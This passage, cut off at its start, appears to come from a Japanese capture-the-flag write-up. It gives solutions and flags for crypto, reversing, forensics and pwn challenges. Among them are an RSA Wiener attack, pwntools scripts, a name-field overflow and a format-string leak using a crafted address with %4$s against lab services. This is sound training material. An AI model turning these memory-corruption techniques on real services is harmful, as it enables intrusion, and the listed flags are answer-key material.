n: continue ans = calcPQ(n - phin + 1, n) if ans is None: continue return (ans[0], ans[1]) p, q = wiener(n, e) print("p = " + str(p)) print("q = " + str(q)) d = inverse(e, (p-1)*(q-1)) print("d = " + str(d)) m = pow(c, d, n) print("plain text is " + str(long_to_bytes(m)))
実行結果
$ python3 rsa_for_large_e.py p = 903296723535367266060988005858251165436301698040255270546009258271726621105072654951 q = 347999059955453396487784535198377540330545703583036100411648705038922144575641923073 d = 19780253153570454414022314122363673676673 plain text is b'\x02my\xa6\xfb\xa2t\x19X\xce\x82F(U\xa9n\xc4\xdc\x16#\x13<\xfc4\x15y\x92\x0b\xef\xc0.\xb7\xb9\xe0\xa3\xbb\xb8r\x00flag{197_Michael_J_Wiener_673}'
家に帰ると黒い封筒が郵便受けに入っていました。封筒の中身は英字が羅列されたメモが一枚。青銅色の紙に白いインクで書かれており右下には同じインクで WEARECIA と記載されています。どうやら暗号文のようです。暗号文を解析してメッセージを受け取る必要がありそうです。 以下の暗号文を解読し、隠されたメッセージを見つけてください。フラグは得られたメッセージを flag{} で囲んで回答してください。
EMUFPHZLRFAXYUSDJKZLDKRNSHGNFIVJYQTQUXQBQVYUVLLTREVJYQTMKYRDMFDRCDNKFRHHMKVLLTGBMFDUTMALDUMKYQTGLWLWCM
見た目的に換字式暗号ですがCryptoカテゴリ最後の問題が単換字式とは思えなかったので多換字式だろうと予想しました。
連続した同じ3文字が何度か登場しているのでそれらの間隔を測ると全て10の倍数であることがわかります。
このことから鍵長10のヴィジュネル暗号かなと思いましたが、10文字の鍵を総当たりするのは厳しいです。
問題文に"WEARECIA"と書いてあったので"CIA"で検索すると、これはクリプトスという彫刻作品に刻まれているヴィジュネル暗号であることがわかりました。
4部分の暗号のうち3つ目までは解読済みですが、4つ目が未だ解読されていない暗号だそうです。
今回与えられた暗号文は前半部分がクリプトスの1つ目の暗号と全く一緒で、後半にクリプトスにはない文字列がくっついています。
EMUFPHZLRFAXYUSDJKZLDKRNSHGNFIVJYQTQUXQBQVYUVLLTREVJYQTMKYRDMFD + RCDNKFRHHMKVLLTGBMFDUTMALDUMKYQTGLWLWCM
したがって後半部分をクリプトスの1つ目の暗号の復号方法と同じようにすれば良さそうです。
復号法についてはここのサイトに詳しく書かれていました。
クリプトスの1つ目の暗号はヴィジュネル暗号ですでに解読されているため鍵("PALIMPSEST")も判明しています。
ただ通常のヴィジュネル暗号と変換テーブルが違うので手動で目を凝らしながら復号しました。
復号した結果は以下。
"FLAGISWEARETHENATIONSFIRSTLINEOFDEFENSE"
気が付くと椅子に座っていた。簡単なテストから始めよう。ガラスを隔てて真正面に白衣の女が立っている。君が優秀であることを示してくれ。声は天井のスピーカーから聞こえてくるようだ。心配はいらない。そばにある端末が起動する。どちらにしてもすぐに済む。 添付されたファイルを解析してフラグを得てください。
ファイルは「infected」というパスワード付き ZIP になっています。
Windowsはよくわからないですけどコマンドプロンプトで実行すればいいです。
引数にflag
と指定すればflagが出力されます。
C:>helloworld.exe Nice try, please set some word when you run me. C:>helloworld.exe s Good job, but please set 'flag' when you run me. C:>helloworld.exe flag flag{free_fair_and_secure_cyberspace}
監獄というより研究室のような施設だった。見る角度が大切なんだ。ガラスで隔てたられた部屋を白衣の男が歩いている。すべてを疑ってみることから始める。そばにある端末の電源が入る。手を動かして検証するというのは実に大事なことだ。 添付されたファイルを解析してフラグを入手してください。
問題名からELFファイルだろうと予想できますが、そのままでは実行できません。
ファイルをバイナリエディタで開くと先頭4バイトが58 58 58 58
となっていてELFファイルと認識できなくなっています。
ELFファイルの先頭4バイトは7f 45 4c 46
ですので直してから実行します。
# ./elf flag{run_makiba}
その部屋はまぶしいほどの明かりで照らされていた。ここからが本番だ。白衣の人物が書類に目を落としながらつぶやくように話している。結果がすべてという訳ではないが。そばにある端末が起動する。いい結果を期待している。 添付されたファイルを解析してフラグを得てください。
実行するとpasscodeの入力を求められます。 正しいpasscodeである必要があるようです。
# ./passcode Enter the passcode: a Invalid passcode. Too short.
Ghidraのでコンパイル結果の抜粋が以下です。 20150109と入力した場合にflag{20150109}と出力するみたいです。
printf("Enter the passcode: "); iVar1 = __isoc99_scanf("%255[^\n]%*[^\n]",&local_108); if (iVar1 == -1) { uVar2 = 1; } else { __isoc99_scanf(&DAT_0010202c); if ((char)local_108 == '\0') { printf("Invalid passcode."); } else { sVar3 = strlen((char *)&local_108); if (sVar3 < 8) { printf("Invalid passcode. Too short."); } else { sVar3 = strlen((char *)&local_108); if (sVar3 < 9) { iVar1 = strcmp((char *)&local_108,"20150109"); if (iVar1 == 0) { puts("The passcode has been verified.\n"); printf("Flag is : flag{%s}",&local_108); } else { printf("Invalid passcode. Nice try."); } } else { printf("Invalid passcode. Too long."); } } }
要調査対象者の端末からあるファイルを押収することに成功しました。どうやら外部の協力者に機密データを送ろうとしたようです。組織内の監視網をかいくぐるため、一見すると機密データが含まれていなかのように加工がされているようです。ファイルを解析して機密データを取得してください。 添付されたファイルを解析し、フラグを入手してください。
.docxファイルはzipファイルと同じ形式らしいです。
拡張子を.zipに変えて解凍するとflag.pngが出てきます。
あなたはメールデータの調査を依頼されました。組織内の要員が規定に反して組織内のデータを個人利用のクラウドサービスにバックアップとしてコピーしていたもののようです。メールデータに機密情報が含まれていないか、調査してください。 添付されたファイルを解析し、フラグを得てください。
zipファイルを解凍して得られたフォルダの中のSent-1ファイルにzipファイルがbase64エンコードされて含まれていました。
stay_in_touchでやった方法と同じようにすればgoodjob.pngが得られます。
画像内にflagがあります。
そのファイルを削除した瞬間にそれが誤りであることをあなたは悟ります。どうやら重要なファイルが削除されてしまったようです。あなたはディスクのイメージファイルの入手に成功しました。削除されてしまったファイルを復元し、窮地を脱してください。 添付されたファイルを解析し、フラグを得てください。
使い方はよくわかっていませんがAutopsyを使って開けました。
調査対象者のパソコンから Web ブラウザの情報を取得しました。ファイルを解析して調査対象者が怪しい行動をしていないか調査するのが今回のあなたの仕事です。 添付されたファイルを解析し、フラグを得てください。
与えられたデータベースファイルのmoz_placesテーブル内にありました。
あなたはあるファイルの解析作業を依頼されました。何重にも入れ子になった箱のようなファイルのようで、その中に組織にとって重要な機密情報が入っているようです。 添付されたファイルを解析してフラグを入手してください。
zipファイルを解凍するとまたzipファイルが現れて...を繰り返す問題です。
が、自分の使っているMacOSの Big Surではデフォルトで再起的に解凍してくれたのでダブルクリックするだけで終わりました..
最終的にflag.txtが得られます。
山登りが趣味だという同僚が疲れた様子で話しかけてきます。山でヤッホーと声を出せば、いつでもヤッホーと返ってくる。そんなあたりまえを支えるやまびこさんの気持ちって、どんな感じなんでしょうね。その眼には若干の狂気が宿っているようにも思えました。あなたは同僚を狂気から救うため、解析作業を手伝うことにしました。 以下にアクセスしてフラグを得てください。
nc 10.1.1.10 12020
ncコマンドでアクセスすると以下のように数字が表示され、その数字を入力するとまた数字が表示され...という感じです。 たくさん繰り返すとflagが得られる感じかと予想します。
$ nc 10.1.1.10 12020 ========== echo me: 61009161 ========== 61009161 Correct! ========== echo me: 71558191 ==========
webshellでpython3及びpwntoolsが利用可能だったのでこれを使ってスクリプトを書きました。 pwntoolsの使い方が下手です。
$ python3 >>> from pwn import * >>> import re >>> def b(p): ... ret = p.recvline() ... print(ret) ... if "Correct" in ret.decode("utf-8"): ... ret = p.recvline() ... print(ret) ... ret = p.recvline() ... print(ret) ... ret = p.recvline() ... print(ret) ... str = re.search(r'echo me: (.*)',ret.decode('utf-8')) ... ret = p.recvline() ... print(ret) ... p.sendline(str.group(1)) ... >>> p = remote('10.1.1.10',12020) [x] Opening connection to 10.1.1.10 on port 12020 [x] Opening connection to 10.1.1.10 on port 12020: Trying 10.1.1.10 [+] Opening connection to 10.1.1.10 on port 12020: Done >>> while True: ... b(p) ... b'==========\n' b'echo me: 22253828\n' b'==========\n' b'Correct!\n' . . . b'echo me: 37649904\n' b'==========\n' b'Correct!\n' b'\n' b'flag{Hellow_yamabiko_Yoo-hoo!}\n'
あなたは再びあるファイルの解析作業を依頼されました。何重にも入れ子になった箱のようなファイルですが、今度は鍵までかかっているようです。ファイルを解析し中に封じ込められている機密情報を取得してください。 ファイルを解析してフラグを入手してください。
今度はzipファイルを解凍するたびに鍵つきzipファイルと鍵が.txtファイルで出てきます。
以下のようなスクリプトを書きました。
#!/bin/bash for ((i = 1000; i >= 1; i--)) do pass=$(< pass.txt) rm pass.txt unzip -P $pass flag$i.zip done
実行するとflag.txtが出てきます。
計算勝負をしましょう。普段は寡黙に働き続けているサーバが不意に話しかけてきました。あなたは珍しいこともあるものだと思いつつも、そのサーバからの挑戦を受けることにしました。 以下にアクセスしてフラグを得てください。
nc 10.1.1.10 12010
echo_meと同じ感じですが今度はそのまま返すのではなく計算して答えを返す必要があります。
$ python3 >>> from pwn import * >>> import re >>> def a(p): ... ret = p.recvline() ... if "Correct" in ret.decode("utf-8"): ... ret = p.recvline() ... print(ret) ... ret = p.recvline() ... print(ret) ... ret = p.recvline() ... ans = eval(ret.decode("utf-8").strip("\n")) ... p.sendline(str(ans)) ... >>> p = remote('10.1.1.10',12010) [x] Opening connection to 10.1.1.10 on port 12010 [x] Opening connection to 10.1.1.10 on port 12010: Trying 10.1.1.10 [+] Opening connection to 10.1.1.10 on port 12010: Done >>> while True: ... a(p) ... b'\n' b'[ Q2 ]\n' . . . b'[ Q50 ]\n' b'\n' b'flag{__42__}\n
瑠璃色の扉を有する荘厳な門が目の前にあった。めずらしく後輩が家に招待してくれるというので訪問することにしたあなた。うちの家は特別に許可を受けた人物でないと入れないもので。後輩はそういうとすみませんねと静かに門を閉じる。招かれても許可はもらえていないのか。どうやら後輩の家に入るにはこの門を自力で突破する必要がありそうです。 添付されたファイルを解析し、以下にアクセスしてフラグを入手してください。
nc 10.1.1.10 13020
アクセスすると以下のように名前の入力を求められます。
入力の27文字目から6文字分がGate is
の後の文字列を上書きしています。
元の文字列がcloseだったのでopenにしたら開きました。
$ nc 10.1.1.10 13020 {} {} ! ! ! II II ! ! ! ! I__I__I_II II_I__I__I ! I_/|__|__|_|| ||_|__|__|\_I ! /|_/| | | || || | | |\_|\ ! .--. I//| | | | || || | | | |\\I .--. /- \ ! /|/ | | | | || || | | | | \|\ ! /= \ \=__ / I//| | | | | || || | | | | |\\I \-__ / } { ! /|/ | | | | | || || | | | | | \|\ ! } { {____} I//| | | | | | || || | | | | | |\\I {____} _!__!__|= |=/|/ | | | | | | || || | | | | | | \|\=| |__!__!_ _I__I__| ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_ -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|- | | | || | | | | | | | || || | | | | | | | || | | | | | |= || | | | | | | | || || | | | | | | | ||= | | | | | |- || | | | | | | | || || | | | | | | | ||= | | | | | |- || | | | | | | | || || | | | | | | | ||- | | | _|__|__| ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_|| |__|__|_ -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|- | | |- || | | | | | | | || || | | | | | | | ||= | | | ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~ You'll need permission to pass. What's your name? > abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ Gate is ABCDEF. Goodbay abcdefghijklmnopqrstuvwxyzABCDEF. $ nc 10.1.1.10 13020 {} {} ! ! ! II II ! ! ! ! I__I__I_II II_I__I__I ! I_/|__|__|_|| ||_|__|__|\_I ! /|_/| | | || || | | |\_|\ ! .--. I//| | | | || || | | | |\\I .--. /- \ ! /|/ | | | | || || | | | | \|\ ! /= \ \=__ / I//| | | | | || || | | | | |\\I \-__ / } { ! /|/ | | | | | || || | | | | | \|\ ! } { {____} I//| | | | | | || || | | | | | |\\I {____} _!__!__|= |=/|/ | | | | | | || || | | | | | | \|\=| |__!__!_ _I__I__| ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_ -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|- | | | || | | | | | | | || || | | | | | | | || | | | | | |= || | | | | | | | || || | | | | | | | ||= | | | | | |- || | | | | | | | || || | | | | | | | ||= | | | | | |- || | | | | | | | || || | | | | | | | ||- | | | _|__|__| ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_|| |__|__|_ -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|- | | |- || | | | | | | | || || | | | | | | | ||= | | | ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~ You'll need permission to pass. What's your name? > abcdefghijklmnopqrstuvwxyzopen ============================= GREAT! GATE IS OPEN!! >> Flag is flag{Alohomora} << *-*-*-*-*-*-*-*-*-*-*-* =============================
ハリーポッターだ
脆弱性を調査し、フラグを入手してください。
nc 10.1.1.10 13030
この設問では Linux ターミナルを使用します。
接続するとフラグのアドレスが与えられ、入力を求められます。
フォーマットストリングアタックかなと思い、とりあえず以下のように入力してみます。
フォーマットストリングアタックについてはこちらのサイトがわかりやすかったです。
$ nc 10.1.1.10 13030 =========================================================== _______ ________ __ ____ _ _ / ____\ \ / / ____| /_ |___ \| || | | | \ \ /\ / /| |__ ______ | | __) | || |_ | | \ \/ \/ / | __| |______| | ||__ <|__ _| | |____ \ /\ / | |____ | |___) | | | \_____| \/ \/ |______| |_|____/ |_| ========================================================== | flag | [0x5657f060] >> flag is here << | Ready > abcd %x %x %x %x %x %x %x Your Inpur : abcd ff882450 ff882858 5657c306 64636261 20782520 25207825 78252078
先頭のabcd
がスタックの4番目にasciiコード変換されて格納されていることがわかります。
つまりこの場所にflagのアドレスを格納できれば、そこからflagの中身をみれます。
格納される値はasciiコード変換されているため、flagのアドレスをasciiコードとして文字列に変換した上で入力します。(リトルエンディアンに気をつける)
flagのアドレスは毎回変わるようでしたので以下の場合を書くと、
flagのアドレス0x56565060
の逆順60 50 56 56
をasciiコードとみなして文字列に変換した`PVV
を入力します。
後ろの%4$s
はスタックの4番目に入っている値をアドレスとして文字列表示します。
$ nc 10.1.1.10 13030 =========================================================== _______ ________ __ ____ _ _ / ____\ \ / / ____| /_ |___ \| || | | | \ \ /\ / /| |__ ______ | | __) | || |_ | | \ \/ \/ / | __| |______| | ||__ <|__ _| | |____ \ /\ / | |____ | |___) | | | \_____| \/ \/ |______| |_|____/ |_| ========================================================== | flag | [0x56565060] >> flag is here << | Ready > `PVV %4$s Your Inpur : `PVV flag{Homenum_Revelio_1989}